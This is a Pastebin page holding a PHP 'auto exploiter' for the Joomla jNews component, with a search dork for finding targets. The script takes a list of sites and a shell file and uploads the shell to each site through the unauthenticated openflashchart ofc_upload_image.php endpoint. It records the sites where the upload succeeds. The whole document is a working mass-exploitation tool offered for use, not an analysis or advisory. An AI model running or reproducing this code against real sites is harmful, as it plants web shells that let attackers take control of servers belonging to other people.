Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /*
- jnews auto exploiter by yunusIncredibl
- exploit dork : inurl:index.php?option=com_jnews
- © 2014
- */
- set_time_limit (0);
- if (!isset ($argv[1], $argv[2]))
- die ("\nUsage : php {$argv[0]} sites.txt shell.php\n");
- (!file_exists ($argv[1]) || !file_exists ($argv[2])) ? die ("File Not Found !") : NULL;
- $array = explode ("\n", trim (file_get_contents($argv[1])));
- echo "Loaded : ".count ($array)." Website\n";
- echo "Note : the result will be saved to \"res.txt\" File !\n\n";
- jnews ($array, "yunus.pHp", file_get_contents ($argv[2]));
- function jnews ($urls, $name, $content)
- {
- $path = "/components/com_jnews/includes/openflashchart/php-ofc-library/ofc_upload_image.php?name=$name";
- $data = "s3c-k.com\n".$content;
- $pattern = "/Saving your image to/i";
- if (!function_exists ("curl_init"))
- die ("This Script uses cURL Library, You Must Install it First !\nhttp://www.php.net/manual/en/curl.installation.php\n");
- $file = fopen ("res.txt", "a");
- $handle = curl_init ();
- curl_setopt ($handle, CURLOPT_RETURNTRANSFER, true);
- curl_setopt ($handle, CURLOPT_HTTPHEADER, array ('Content-Type: application/xml'));
- curl_setopt ($handle, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20100101 Firefox/15.0.1");
- curl_setopt ($handle, CURLOPT_POST, 1);
- curl_setopt ($handle, CURLOPT_POSTFIELDS, $data);
- foreach ($urls as $url)
- {
- curl_setopt ($handle, CURLOPT_URL, $url.$path);
- $source = curl_exec ($handle);
- if (preg_match ($pattern, $source))
- {
- $u = "$url/components/com_jnews/includes/openflashchart/tmp-upload-images/$name\n";
- echo "ok -> $u\n";
- fwrite ($file, $u);
- }
- else
- echo "no -> $url\n\n";
- }
- fclose ($file);
- curl_close($handle);
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement